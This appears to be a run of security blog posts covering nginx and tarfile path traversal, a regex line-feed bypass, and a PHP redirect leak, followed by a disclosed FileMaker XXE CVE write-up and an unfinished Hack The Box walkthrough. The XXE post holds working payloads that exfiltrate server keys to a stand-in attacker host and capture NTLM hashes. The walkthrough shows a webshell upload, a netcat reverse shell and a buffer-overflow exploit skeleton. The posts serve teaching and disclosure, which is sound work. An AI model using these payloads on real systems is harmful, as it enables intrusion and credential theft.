The library basically does what the documentation says it does and works according to specifications. While secure defaults are generally preferred, I’m not sure I would classify this as a vulnerability in the library per se, but more so in the projects using the library’s extract* methods without additional member checks.

Still, having an explicit option in Python’s tarfile to allow absolute paths (or those containing ..) like BSD/GNU tar’s -P option would certainly be desirable as it would allow developers to explicitly (or better implicitly) enable these protections. After all, not everybody reads the docs :-)

The above mentioned tar implementations either reject or change the invalid paths and you get a warning like tar: Removing leading ../../../../../../../../../' from member names.

While secure defaults are generally better and it’s a good idea to review your existing code for tarfile usage and check if any externally controllable files can reach the extract methods, I’m always a bit skepitcal about sentences like “a vulnerability estimated to be present in over 350,000 open-source projects and prevalent in closed-source projects”. Resulting news headlines then quickly come up with something like Unpatched 15-year old Python bug allows code execution in 350k projects.

There are surely a number of affected projects where the described behavior can cause a lot of trouble. But, generally, not every use of the extract methods will be with files that can be controlled by an attacker and thus not every call with an unsanitized archive can be exploited. And of those that can be exploited, not every case will lead to immediate remote code execution.

Funny side note: I have seen this issue multiple times deliberately implemented in CTF challenges in the past.

nginx alias misconfiguration allowing path traversal

Sun, 14 Aug 2022 00:00:00 +0000

I recently came across an nginx server that had a vulnerable alias configuration which allowed anyone to read files outside the intended directory. In the following post I will describe the misconfiguration and provide demo files so that you can experiment with it yourself.

The general issue was originally highlighted a few years ago in a BlackHat presentation (Breaking Parser Logic!, Orange Tsai) and apparantly first shown even earlier. While the linked presentation only has a couple of slides on this particular issue it’s worth checking out in full.

The docker setup

Let’s say we have a PHP application that should be served through nginx. To quickly get things running we configure our setup via the following docker-compose.yml file:

version: "3.7"

services:
 web:
 image: nginx:alpine
 ports:
 - 8081:80
 networks:
 - internal
 volumes:
 - ./webapp:/var/www/webapp
 - ./nginx.conf:/etc/nginx/conf.d/default.conf
 depends_on:
 - php

 php:
 image: php:fpm-alpine
 volumes:
 - ./webapp:/var/www/webapp
 networks:
 - internal

networks:
 internal:
 driver: bridge

We have two services, web (nginx) and php, mount our php source code and nginx.conf and have the services on the same internal network.

Our directory structure will look like this:

.
├── docker-compose.yml
├── nginx.conf
└── webapp
 ├── app
 │   ├── db.php
 │   └── webroot
 │   └── index.php
 └── static
 └── sample.png

The nginx config

Our nginx.conf file will be a fairly simple and standard-looking one which already has the issue baked in (can you see it?):

server {
 server_name _;

 root /var/www/webapp/app/webroot;
 index index.php index.html index.htm;

 access_log /var/log/nginx/php-access.log;
 error_log /var/log/nginx/php-error.log;

 location /assets {
 alias /var/www/webapp/static/;
 }

 location / {
 try_files $uri $uri/ /index.php?$query_string;
 location ~ \.php$ {
 include fastcgi_params;
 fastcgi_pass php:9000;
 fastcgi_index index.php;
 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
 }
 }
}

The web app

Our demo web app is really just for demonstration purposes and doesn’t do anything useful.

We have webapp/app/db.php (to have a file outside of the webroot that contains some credentials):

<?php

$user = 'appuser';
$pass = 'secret';
$db = new PDO('mysql:host=localhost;dbname=test', $user, $pass);

// ...

?>

And then our index.php in the webroot folder to show an intended output of the PHP application:

<?php

echo 'Here is the webroot';

?>

Launch the application and see the issue

Now that we have all necessary demo files set up, we can launch our containers:

docker-compose up --build

Going to http://127.0.0.1:8081 should now return Here is the webroot, which is the output of index.php in the webroot folder.

As seen in the above nginx config we also have an /assets location pointing to the /static directory. Navigating to http://127.0.0.1:8081/assets/sample.png gives us the sample image, as expected.

So what’s the issue?

The /assets location directive has no trailing slash and nginx will thus only match /assets and then append whatever is in the request to the final destination path.

If we open http://127.0.0.1:8081/assets../app/db.php we can force a directory traversal and access files in a directory one level down. For our demo app this means we can access the source code of db.php, a sensitive file outside of the webroot. Here, /assets../app/db.php effectively becomes /var/www/webapp/static/../app/db.php.

Note that attempts to force “regular” directory traversals in a requested path, as in /../, are obviously prevented by default.

While we could of course prevent the PHP source code from being returned vs. evaluated, this would not change the fact that we could still access other files one directory down – for example something like /assets../app/.env.

The fix here is to make sure to always set the full path in the location directive, as in location /assets/ (note the trailing slash).

The files

You can access the demo files via this GitHub gist.

Bypassing regular expression checks with a line feed

Sat, 14 May 2022 00:00:00 +0000

Regular expressions are often used to check if a user input should be allowed for a specific action or lead to an error as it might be malicious.

Let’s say we have the following regular expression that should guard the application from allowing any characters that could be used to execute code as part of a template injection:

/^[0-9a-z]+$/

At first sight this looks OK: if we have a string containing only numbers and/or characters a-z we will match them and can continue. If we have other characters and are thus not matching this pattern, we can error out. Injecting something like abc<%=7*7%> or any other template injection pattern won’t work. Or will it? It depends…

Implementations matter

Let’s compare the behavior in two environments: Ruby and Python.

Ruby:

my_input = "abc<%= 7*7 %>"

if my_input.match(/^[0-9a-z]+$/)
 puts "Matches pattern, let's continue..."
else
 puts "Does not match. Error out..."
end

Python:

import re

my_input = 'abc<%= 7*7 %>'

if re.match(r'^[0-9a-z]+$', my_input):
 print('Matches pattern, let\'s continue...')
else:
 print('Does not match. Error out...')

Running either sample will lead to the error case.

However, once we introduce a multi-line string, the two examples behave differently. Let’s change the my_input to abc\n<%= 7*7 %> in both snippets and run them again:

$ ruby test.rb
Matches pattern, let's continue...

$ python3 test.py
Does not match. Error out...

If an attacker is able to control my_input in the above Ruby example, and this input is then actually used somewhere important (like in a template), it can lead to remote code execution and/or information disclosure.

Why is it different?

In Ruby (but not only) the ^ and $ match at the start and end of each line. So if any (!) one line is matching, we have a successful match. What we would rather want in this case is matching the beginning and end of the string, which is possible with \A and \z.

In Python, on the other hand, we would need to enable this multi-line behavior explicitly with re.MULTILINE. Taking the example from above, this (probably unwanted behavior) would look like:

if re.match(r'^[0-9a-z]+$', my_input, re.MULTILINE):
 print('Matches...')

Note, though, that Python’s re.match would generally only always match the beginning of the string, not the beginning of each line (see re.search for scanning the full string).

Be mindful of the implementation

When testing the security of a specific restriction, be mindful of which environment you are dealing with. Sometimes, it only takes a linefeed (\n) to bypass a check and cause serious trouble.

Info leaks via buffered output on HTTP redirects

Mon, 21 Feb 2022 00:00:00 +0000

Writing data to the output buffer before deciding that the response to the current HTTP request should actually be a redirect (for example when an unauthenticated user is not allowed to access some content) is an issue not exclusive to PHP but a relatively easy mistake to make in this environment.

After not having been exposed to PHP in quite a while I recently did a security assessment of a PHP application again. During the test this exact issue popped up again, so I want to give a short description on how and why this can lead to information leaks.

Consider the following two files:

index.php

<?php

$logged_in = false;

echo 'Here is some content that only logged-in users should see';

/* ... */

if (!$logged_in) {
 header('Location: /login.php');
}

?>

login.php

<?php

echo 'Here is the login page';

?>

When requesting index.php with your browser, you would usually only see the output of login.php, as the first response from index.php includes a 302 status code and a Location header indicating a redirect to /login.php.

However, if you were to inspect the body of the first response, you would see the contents that index.php produced as they were already written into the output buffer when the HTTP response was sent:

Unfortunately, the response data of redirections is not shown in Firefox’s developer tools (“No response data available for this request”), so the way you usally identify these issues is to have a proxy running while browsing (e.g. Burp Suite).

What’s the issue?

As you may have already guessed, the issue is that content that is not supposed to reach the client is actually sent to it. This can either happen because the script places data into the output buffer before it calls header() (as in the example above) or that it doesn’t terminate after setting the Location header and produces even more output.

Changing the order of echo and header in the example above would not fix the issue if the header() is not also followed by a termination of the script (e.g. with exit or die()).

During my penetration test it was a relatively simple case of just trying to access another user’s data by modifying a parameter in the query string. Even though the application’s behaviour looked right (redirect to another page) when viewed through a browser, and the developers did properly check the access rights in the code, the data from another user was still being leaked in the response body of the 302 redirect.

How can you modify headers after output is sent?

You might be wondering how you can even set a header after (part of) a response body has already been sent. Obviously, you can’t.

Looking at PHP’s documentation for header() we can read:

Remember that header() must be called before any actual output is sent, either by normal HTML tags, blank lines in a file, or from PHP.

In the small example above the output is not actually sent before the header, but rather buffered before being sent. So as long as your output doesn’t exceed the buffer size you will get the behavior described and won’t experience any warning. The output buffer behavior (and size) can also be configured via php.ini.

You can verify this by increasing the amount of output you produce before trying to set a header. Exceeding the buffer size, you will get the warning PHP Warning: Cannot modify header information - headers already sent by... and the redirect stops working (as you obviously cannot set the Location header after output has already been sent).

Note, though, that if you have the order right (first header(), then your response body) but you forget the termination of the script, you will still have the issue but never get any warning as nothing technically forbids you to have a large body in a redirect response.

How to detect

The easiest way to spot this issue during dynamic analysis is by recording your HTTP requests, then sorting them by status code and looking at the response length. Large response sizes for redirection responses will generally show you that something is off and worth looking into.

Besides recording your manual browsing it also makes sense to look at the response sizes when you’re doing any kind of directory/file brute-forcing and don’t have access to the source code. Seeing an output like the following (gobuster example) would be a good reason to further look into the actual response data:

/index.php (Status: 302) [Size: 4091] [--> /login.php] # large
/test.php (Status: 302) [Size: 0] [--> login.php] # normal

CVE-2021-44147: XML External Entity Vulnerability in Claris FileMaker

Thu, 18 Nov 2021 00:00:00 +0000

A couple of months ago I looked more deeply into the “Import Records” functionality in FileMaker, especially the XML parsing, and was wondering if any XXE vulnerability may exist and how one could exploit this in technically interesting ways.

The vulnerability is/was indeed there and can lead to local file disclosure and server side request forgery in various components of the FileMaker platform. The following is a description of the vulnerability including potential exploitation paths.

If you’re running FileMaker Server, make sure to install patch 19.4.1 to mitigate this attack vector. The issue was privately disclosed to Claris, Inc. and this write-up was only released after a patch was available (see timeline below).

Abstract

The XML parser used to parse XML files (including XLSX) during import (“Import Records” action) does not prevent the use of external entities which allows an attacker to perform HTTP requests to arbitrary hosts, including internal ones, and in addition allows reading and exfiltrating the contents of arbitrary files, given they can be transported via a HTTP GET or included within a XML document without further encoding. When the FileMaker Server is runnning under a custom Windows user, it is also possible to utilize UNC paths in external entities, make the user connect to a share and through that steal and potentially crack the NetNTLMv2 hash to reveal the user’s password.

The proof-of-concepts below demonstrate this with a fmp12 file hosted via WebDirect. In the first example we will make a request to a private host by uploading a crafted XLSX file. In the second and third example, we will steal the private key of the FileMaker Server in-band and out-of-band, respectively. In the last example, we eventually explore the scenario where we initiate a SMB connection to capture the NetNTLMv2 hash.

Note that these techniques could also be used in phishing scenarios in which a user is tricked into uploading a XML/Excel file for further processing (e.g. an order document) or even just opens a snapshot link file for which FileMaker Pro is usually set as the default application.

To get an easy overview I also demonstrate the mentioned four potential attack vectors in a video embedded below.

The vulnerability

What makes all this possible is the behavior of a non-hardened or insufficiently configured XML parser which allows for so called “XML external entity attacks” (XXE). This essentially means that it does allow using external entities and (for some attacks necessary) external DTDs.

In an XXE attack you give an application XML input to parse which includes references to external objects (e.g. a local or remote file, a resource accessible via HTTP, FTP or other protocols). How these resources are accessed depends on the implementation. But the author of an XML file can generally just provide the scheme (like file:// or http://) in the resource URI and then see what the parser/the included libraries do with it.

Let’s first have a look at XML entities in general.

XML Entities

XML entities can be declared in the (internal or external) DTD (subset) and reference both internal data (like a constant value you would like to reference multiple times in your document) or external data (like a local or remote file, a web resource, etc., described as a URI). In addition to your own declared entities there are also predefined ones that are helpful for example when wanting to use characters in your documents that would otherwise have meaning to the XML parser (e.g. a < character, which could be represented as < or <).

We can use regular internal entities for internal data and external entities for external data. A third kind of entity are Parameter Entities, which allow us to reference entities within other entities – exactly what we will need later on to make the out-of-band data exfiltration work.

Entity, entity, entity… Let’s see some examples:

Internal

<!ENTITY myinternal "some value">

Using this entity with the name of “myinternal” inside your document would lead to a replacement/expansion of &myinternal; to “some value” (like a macro).

External

<!ENTITY myexternal SYSTEM "file:///etc/passwd">

Using this entity with the name of “myexternal” inside your document would lead to a replacement/expansion of &myexternal; with the contents of /etc/passwd. Since you specify a URI, you can use other schemes to indicate other protocols, like http://, ftp://, or even gopher://, depending on what is supported by the library making the requests (in the examples below I only use file and http, since these were the ones I found to be supported by FM(S)).

In case the FileMaker solution you are targeting shows you the result of the import (i.e. the imported records or the import mapping dialog), this type of entity is enough to read files in-band (vs. out-of-band with Parameter Entities).

Parameter

The declaration of Parameter Entities looks almost the same, except that we need to add a percent sign before the name. This is also true when referencing them later, as in %myparameter; (only allowed within (!) the internal or external DTD).

<!ENTITY % myparameter SYSTEM "file:///etc/passwd">

As mentioned in the beginning, Parameter Entities are also allowed to be used within the replacement text of other entities, so constructs like this become possible.

<!ENTITY % secret SYSTEM "file:///secret.txt">
<!ENTITY % evalme '<!ENTITY &#x25; exfiltrate SYSTEM "http://evil-host.example/%secret;">'>

Here, when using the %exfiltrate; entity, we would send the contents of secret.txt while making the request to evil-host.example. The evil host could decide how to respond to the request after capturing the data. Even if a 404 error is returned and the parsing of the original XML document fails, the damage of data exfiltration would have already been done.

The % here is a character entity referring to the hex value 25, which stands for the percent sign in ASCII.

Note that for the parser to actually expand evalme (such that exfiltrate is defined and tries to load the resource with secret as path), we would need to reference it in the DTD, like so:

%evalme;

Another important thing to note is that for this to work, the parameter entity reference within another declaration (as in evalme) must not occur in the internal DTD but in an external one that we can reference via a (parameter or general) entity as well. For example like follows (in the original XML document’s internal DTD):

<!ENTITY % xxe SYSTEM "http://evil-host.example/malicious.dtd"> %xxe; %evalme; %exfiltrate;

More info on XML entities can be found here: https://www.xml.com/pub/a/98/08/xmlqna0.html

What about XLSX?

In the beginning I mentioned that XLSX imports are affected as well. This is because XLSX documents are essentially zip files containing XML files. Adding a DTD to one of the XML files being parsed on import has the same effect as doing it in a XML file which is imported on its own.

A sample XLSX file structure:

├── [Content_Types].xml
├── _rels
├── docProps
│   ├── app.xml
│   ├── core.xml
│   └── thumbnail.jpeg
└── xl
 ├── _rels
 │   └── workbook.xml.rels
 ├── sharedStrings.xml
 ├── styles.xml
 ├── theme
 │   └── theme1.xml
 ├── workbook.xml
 └── worksheets
 └── sheet1.xml

In my demonstration I chose to modify workbook.xml and sharedStrings.xml.

Note that XLSX is especially interesting as it is supported in WebDirect and is thus more likely to be available to the public via the internet.

Setup to reproduce the attack

For the examples below I use the following setup:

Latest FMS19 (19.3.2) on latest Windows Server 2016 or 2019
WebDirect enabled so that files can be served via HTTP (not required if you want to test with native clients or server only)
A hosted custom app that shows the default toolbars or any custom button offering an Import Records script step, and allows importing of records (e.g. the default Data Entry Only privilege set).

Using this setup, you can choose Import Records from the toolbar menu or click on the custom button and upload a crafted malicious XLSX file.

Note that this vulnerability is not specific to WebDirect, but WebDirect is used for demonstration as it is most likely the component that is publicly available on the internet. Performing Import Records with the same XLSX or XML file in a FM native client in a local or hosted environment has the same effect.

Also note that the account an attacker uses must allow Import Records (as in the default Data Entry Only privilege set). The account could be chosen explicitly (as in a login) or implicitly used when auto-login is enabled (as is common in public apps that handle their own authentication (which may have additional issues) or don’t have authentication at all).

The default example file FMServer_Sample.fmp12 is not vulnerable as it uses the Guest privilege set which is read-only and thus does not allow importing of records.

Making an internal request (Server Side Request Forgery)

Let’s make the server do a request of our choosing. We create a new XLSX document, malicious.xlsx, unzip it, make a modification to sharedStrings.xml and then zip it up again.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE sst [
<!ENTITY req SYSTEM "http://127.0.0.1:1234/myinternalservice">
]>
<sst uniqueCount="2" xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><si><t>Table 1</t></si><si><t>Hello &req;</t></si></sst>

Before uploading the file via WebDirect, we start a local listener to simulate a service running on localhost or another host on the internal or external network. A quick way to do this is to use Powercat in PowerShell:

. .\powercat.ps1
powercat -l -p 1234

After choosing and submitting malicious.xlsx in the Import Records dialog, we will see the request hitting our service.

We could also exfiltrate the response of the internal service back to us (which is likely more valuable), e.g. when querying some metadata service that could reveal sensitive information (see “Stealing a file out-of-band” below – same technique).

Stealing a file in-band

If the result of the import is visible to the user or we get an import mapping dialog, we can exilftrate file contents in-band.

We modify our malicious.xlsx and add the following to the sharedStrings.xml:

<!DOCTYPE sst [
<!ENTITY file SYSTEM "file:///c:/PROGRA~1/FileMaker/FILEMA~1/CStore/serverKey.pem">
]>
<sst uniqueCount="2" xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><si><t>Table 1</t></si><si><t>&file;</t></si></sst>

We are using short names in the path to prevent using spaces (as in “FileMaker Server”). You can find the shortnames using dir /x.

Importing the malicious.xlsx file, we can now see the result of the serverKey.pem (either in the import mapping dialog or in a field of the current foundset of imported records).

Stealing a file out-of-band

When the result of the import is not available, we can attempt to get the contents of a file out-of-band, using another HTTP request to a server under our control.

For this, we modify sharedStrings.xml again:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE sst [
<!ENTITY % dtd SYSTEM "http://evil-host.example/malicious.dtd"> %dtd; %evalme; %exfiltrate;
]>
<sst uniqueCount="2" xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><si><t>Table 1</t></si><si><t>Hello</t></si></sst>

And in our malicious.dtd:

<!ENTITY % file SYSTEM "file:///c:/PROGRA~1/FileMaker/FILEMA~1/CStore/serverKey.pem">
<!ENTITY % evalme '<!ENTITY &#x25; exfiltrate SYSTEM "http://evil-host.example:8000/%file;">'>

Since we now send the file contents to our server, we need to have some kind of listener running. For this example, we could use a simple netcat listener:

nc -lvnkp 8000

Stealing the server user’s hash and trying to crack it

In case FileMaker Server is running under a custom Windows user and SMB egress traffic is not blocked, we can attempt to steal the NetNTLMv2 hash of this user. This is possible because we can give an external entity a UNC path to connect to a SMB server under our control. We can give the user a login challenge and receive its hash, then try to crack it:

Again, in our sharedStrings.xml:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE sst [
<!ENTITY connect SYSTEM "file:////evil-host.example/TMP/whatever">
]>
<sst uniqueCount="2" xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><si><t>Table 1</t></si><si><t>&connect;</t></si></sst>

To start a SMB server, we can use Impacket’s smbserver.py:

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support TMP $(pwd)

Uploading our malicious.xlsx we now get a connect back and retrieve the NetNTLMv2 hash:

If it’s a weak password, we might also be able to crack it. For example with Hashcat:

hashcat -m 5600 hash ~/wordlists/super-duper-wordlist.txt
[...]
CUSTOM::WIN-ECLLFT4DU92:aaaaaaaaaaaaaaaa:ba97ec5447d22506cc9d986d3e6c0e96:0101000000000000808821707f9e...:password123!
 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: CUSTOM::WIN-ECLLFT4DU92:aaaaaaaaaaaaaaaa:ba97ec5447...000000
[...]

Video about potential exploitation

Below is a video going through the examples:

Affected versions

I mostly tested on Windows Server 2016 and 2019 and FileMaker Server/Pro 19.3.2. However, I am pretty certain that earlier versions are affected as well. On macOS requests and in-band exfiltration worked as well, however, using external parameter entities within other entities (for out-of-band exfiltration) threw some NetAccessor errors. This is likely related to the options used in building libxerces-c (which FM likely uses for parsing XML), but I did not spend any further time investigating this / trying to make it work.

I suspect Claris’ FileMaker Cloud service is affected as well, but I did not test this as I am not aware of any public policy regarding authorization to test their services.

Also note that the same XML parser is used for processing “snapshot links” (which are XML files as well; *.fmpsl), which could come in handy when executing phishing attacks.

Mitigate

Please patch your FMS and FMP clients to version 19.4.1. If you cannot, there’s unfortunately not too much you can do to reliably prevent these attacks and keep the functionality.

Since you will unlikely patch FM binaries yourself, one option is to detect/block XXE payloads before they even reach your FMS (using a WAF, which could still be bypassable, and also doesn’t help when you don’t use the web but native clients).

To protect against the exfiltration part, you could filter/lock-down egress traffic. If your server is not allowed to talk to external hosts or only to specific hosts with specific protocols then the above technique will likely fail (there’s always the possibility you miss something and exfiltration becomes possible again via a different protocol, an open redirect on an allowed host, or something else, but it is another hurdle). Note that in-band exfiltration would still remain possible (if the mapping dialog or import result is shown).

Lastly, you could of course also easily restrict access to the feature itself in your custom solution, i.e. not allow any imports.

Client-wise you would still need to update to prevent the “double-click” or “open with” phishing scenario (as the fmpsl or xlsx is processed independent of your solution).

Timeline

2021-09-01: I reported to security@filemaker.com
2021-09-08: Due to no response, I followed up again to same email address and asked for acknowledgement of receipt; got acknowledged same day
2021-09-19: Claris asked for sample exploit files to validate their solution; I provided two samples same day
2021-11-04: I followed up again asking for status of fix; got response same day that fix is ready but pre-announcements of a release cannot be made
2021-11-16: Claris released patch. Please note that the issue is only mentioned in the release notes for the client, not for the server. However, the server update does include the fix.
2021-11-18: I released this write-up; you can glean from the official client (!) release notes what was patched and having more detailed information available is generally better to validate that your environment is properly protected.

CRTP Certification Review

Fri, 25 Dec 2020 00:00:00 +0000

A couple of days ago I took the exam for the CRTP (Certified Red Team Professional) certification by Pentester Academy. In this review I want to give a quick overview of the course contents, the labs and the exam.

Course Contents

Attacking and Defending Active Directory is the accompanying course for the CRTP certification and it covers – as the name suggests – various common attack vectors and persistence techniques in Windows AD networks. The course also gives an overview of the defensive measures you can take – from more high-level explanations of privilege separation models to deploying decoy objects in the environment for deception.

The course structure is roughly like this:

AD Enumeration
Local privilege escalation
Domain privilege escalation and Lateral Movement
Persistence
Trust attacks across Domains and Forests
Defenses and detections

It starts out with a short refresher about Active Directory but pretty much expects you to already have a basic understanding of the main services and logical structure that make up AD. The same goes for PowerShell, which is used across the course and only introduced very briefly.

Most of the enumeration is taught via PowerView and Microsoft’s Active Directory PowerShell module. The teacher, Nikhil Mittal, then walks you through common enumeration tasks, looking at Users, Computers, Shares, GPOs, explaining how to read ACLs, finding sessions, enumerating Trusts, etc.

There’s also a section on BloodHound, albeit very short as the course is supposed to be “Red Team” focussed and so the amount of “noise” you generate in an environment is taken into consideration to avoid being detected for as long as possible.

While I mentioned Local Privilege Escalation above, it is not the focus of the course and only touched very briefly (essentially just service abuses). The domain privilege escalation / lateral movement part is more thorough and teaches you how to jump from one box to another and eventually get Domain Admin or Enterprise Admin – again with the focus on abusing misconfigurations.

The common attacks are all covered: kerberoasting in its different forms, constrained and unconstrained delegation abuses, utilizing trust tickets for moving across domains and reaching external forests, pivoting through SQL Servers, DNS Admins escalation, and more…

A big chunk of the course then goes into persistence techniques, i.e. what techniques an attacker can use to stay in the environment, likely remain undetected, and how long the persistence methods usually work. This was the section where I learned the most – there are just so many places you can hide and information you can use to “come back” at a later stage.

The course covers the more known ways like golden and silver tickets, but also talks about techniques like skeleton keys, custom SSPs, various ACL settings, DCShadow, DSRM admin login, and so on.

For a lot of techniques mimikatz is used. Naturally, not everything can be taught in much detail but the course introduces you to topics you can then further research on your own.

In the defensive part of the course the logs/events created during the attacks are discussed. But not only detection, also mitigation strategies and helpful tools are mentioned. And, as it is a cat and mouse game, also common bypasses and weaknesses of the mitigations/detections are shown.

Lab environment

You get access to a lab which consists of an AD environment containing multiple domains and also trusts to another forest. From a provided “student vm” you can then try out the different attacks.

The lab environment consists (as of the time of writing) of Windows Server 2016 machines and is solely focussed on exploiting misconfigurations (no CVEs with publicly available exploits). This introduces you to realistic scenarios as misconfigurations happen all the time and cannot be just “patched away” with an update.

While it is a shared environment and certain attacks wouldn’t be possible when executed by multiple students, I didn’t have a single issue due to other “attackers” in the environment. Also, the lab resets every 24 hours.

The lab can be accessed via VPN or directly through a browser via Apache Guacamole. I’m not a huge fan of doing everything in a browser, so I always connected via the VPN through a dedicated VM.

There are packages of 30, 60 and 90 days of lab access. I chose 30 days and found it was time enough time to do the exersises multiple times, even though I only did the course on the side in the evenings. My suggestion would be to go for 30 days and do the first enumeration exercises in your own AD lab (if you have one) before starting the official lab time (you get access to the course material and can decide to start the labs at a later stage, which seems like a fair option).

While not a deal breaker, I didn’t like so much that you needed a Google associated email account for accessing the lab control panel.

Exam

The exam drops you into an environment similar to the lab and requires you to get access to a given number of machines in the network. As it is an assumed breach scenario, access to a foothold machine and a low-priv user is given. You have 24 hours to compromise the machines and then 48 hours to write a report describing the weaknesses you exploited to gain access. You have to provide both a walkthrough and remediation recommendations.

You can use any tool on the exam, not just the ones discussed in the course.

Obviously, I cannot say anything about the exam’s contents. All what is needed to pass is explained and taught in the course but expect some hurdles on the way (you cannot just run BloodHound and follow a straight path of layed-out abuses). In my opinion it was a very well thought-out exam.

My recommendations (that apply to any practical exam, really): feel comfortable with the techniques taught so that you can troubleshoot them when they don’t work as expected at first. Carefully enumerate before you try an attack. Don’t put your trust in the output of only a single tool, have alternative ways of verifying things. Keep hacking, even when you haven’t made any progress for some time – you know there is a way in :-)

Should you take the course?

This solely depends on what you want to learn and your previous experience. In my opinion, even if you’re already doing pentesting and AD is not your prime focus, you will learn new tricks. As mentioned above, for me especially the persistance techniques were worth it.

If you know AD in and out and regularly perform assessments that also include the persistence part and cross-trust attacks, then maybe you won’t learn anything new. Pentester Academy also has a much more challenging lab and something in between, although I haven’t done them, so cannot say anything about it.

While I have some non-AD material piled up which I want go through first, let me know if you have done one of the other red team labs. I’d like to hear your experience.

Update 2025

I was informed that the course has moved to a different company/site. It is now: https://www.alteredsecurity.com/adlab. I assume everything is still more or less the same, but can’t say for sure.

Hack the Box Write-up #10: Buff

Sat, 21 Nov 2020 00:00:00 +0000

This is a write-up of today’s retired Hack The Box machine Buff.

Buff was a fun 20 point box that included exploitation of a known vulnerability in a gym management web app and a classic buffer overflow for getting an administrator shell.

In my opinion doing this machine can also serve as a good practice if you plan on doing something like the OSCP or eCPPT certification and still need practice targets for the binary exploitation / buffer overflow part.

Recon and enumeration

We start by scanning the box with a fast nmap scan:

nmap -F 10.10.10.198

Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-20 22:49 CET
Nmap scan report for 10.10.10.198
Host is up (0.099s latency).
Not shown: 99 filtered ports
PORT STATE SERVICE
8080/tcp open http-proxy

We run an additional full port scan (-p-) in the background and checkout the discovered port 8080 by browsing to it. We are greeted with some kind of fitness site:

Browsing through the pages, we find a note on /contact.php that says: “Made using Gym Management Software 1.0”.

Using this information, we run a searchsploit "gym man" to look for known vulnerabilities:

searchsploit "gym man"
------------------------------------------------------------------- ----------------------
 Exploit Title | Path
------------------------------------------------------------------- ----------------------
Gym Management System 1.0 - 'id' SQL Injection | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py
------------------------------------------------------------------- ----------------------

Exploiting Gym Management Software

Unauthenticated Remote Code Execution looks pretty good, so we’ll have a look at this one first (searchsploit -x 48506).

It essentially does a POST request to the upload.php page (which does not check for a valid session) to send a file while bypassing the check for allowed file types (images). It is supposed to directly give you a webshell, but I find it often easier to just pipe the requests through a proxy and then modify the request as I see fit.

So to let the requests go through Burp, we define a proxies dictionary and pass it to the two requests (using the Python requests module):

proxies = { 'http': 'http://127.0.0.1:8080' }
s.get(SERVER_URL, verify=False, proxies=proxies)
[...]

The diff for completeness:

81d80
< print header();
90c89,90
< s.get(SERVER_URL, verify=False)
---
> proxies = { 'http': 'http://127.0.0.1:8080' }
> s.get(SERVER_URL, verify=False, proxies=proxies)
102c102
< r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
---
> r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False, proxies=proxies)

Now we can start the Burp interception proxy and run python 48506_customized.py http://10.10.10.198:8080/. This will give us insight in the actual payload being used:

Now that we know what the script would do, we can just send the request to the repeater tab, drop the original one and kill the script.

In the repeater tab, we can make slight adjustments or just keep it as is – I change the file name for easier reference later on. When you do your own changes, make sure to keep the magic bytes intact:

After sending the request, we get code execution on the server by sending a GET to our previously uploaded webshell:

To get a proper shell, we can start an impacket smbserver and execute nc.exe directly from our attacker machine:

# launch smbserver
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py TMP $(pwd) -smb2support

# launch listener
nc -lvnp 80

Execute nc.exe:

Identifying CloudMe – The potential “Buff” target

Using our shell, we can start looking around in directories accessible to our user shaun.

In Downloads we find a hint to a potentially installed software:

C:\Users\shaun\Downloads>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Downloads

14/07/2020 12:27 <DIR> .
14/07/2020 12:27 <DIR> ..
16/06/2020 15:26 17,830,824 CloudMe_1112.exe
 1 File(s) 17,830,824 bytes
 2 Dir(s) 7,753,715,712 bytes free

A quick check with tasklist confirms CloudMe.exe is running. Noting the PID, we can also cross-reference that it is listening on port 8888.

Searching for known vulnerabilities, we quickly find a couple of exploits using searchsploit cloudme. Let’s have a quick look at 48389.py.

It looks like a simple buffer overflow, so why not make our own one from scratch!?

Developing the Exploit

First, we need to get the binary to our machine. We can copy it using the smbserver from earlier:

C:\Users\shaun\Downloads>copy CloudMe_1112.exe \\10.10.14.28\TMP\CloudMe_1112.exe
copy CloudMe_1112.exe \\10.10.14.28\TMP\CloudMe_1112.exe
 1 file(s) copied.

For good practice we can also compare the hash after transfer:

# on target
powershell.exe -c "Get-FileHash CloudMe_1112.exe"

# on attacker machine
shasum -a 256 CloudMe_1112.exe

Running the app locally

Since the target system is a Windows 10 box, we should install CloudMe on a similar VM.

If you want to follow along, make sure to also install Immunity Debugger and mona.py on the machine.

After installation, we can run the app and check again with netstat that it is listening on port 8888.

Since it is only listening on the loopback address, we’re setting up a portproxy on our local Windows VM to proxy 172.16.246.136:8888 (IP of my VM) to 127.0.0.1:8888.

netsh interface portproxy add v4tov4 listenport=8888 listenaddress=172.16.246.136 connectport=8888 connectaddress=127.0.0.1

Building a skeleton

The first thing we’re going to do is build a skeleton for our exploit. We will use Python and the built-in socket module for creating a TCP socket for our connection.

Something like this should do for now – a function to build the payload, and one to send it:

import socket

HOST, PORT = '172.16.246.136', 8888


def build(size):
 return b'A' * size


def send(payload):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.settimeout(2)
 s.connect((HOST, PORT))
 s.send(payload)
 try:
 res = s.recv(1024)
 print('Recv: ', res)
 except socket.timeout:
 print("Boom!")


if __name__ == '__main__':
 payload = build(50)
 send(payload)

Make it crash

To observe how the application is behaving when it receives inputs, we can now attach it to Immunity Debugger:

We can now start to test out different payload sizes – either manually or by looping through a range of sizes until the program crashes.

It also makes sense to test out sizes that are larger than the minimum size required to make it crash, just to see how many of the bytes are actually coming through and end up at a usable memory region.

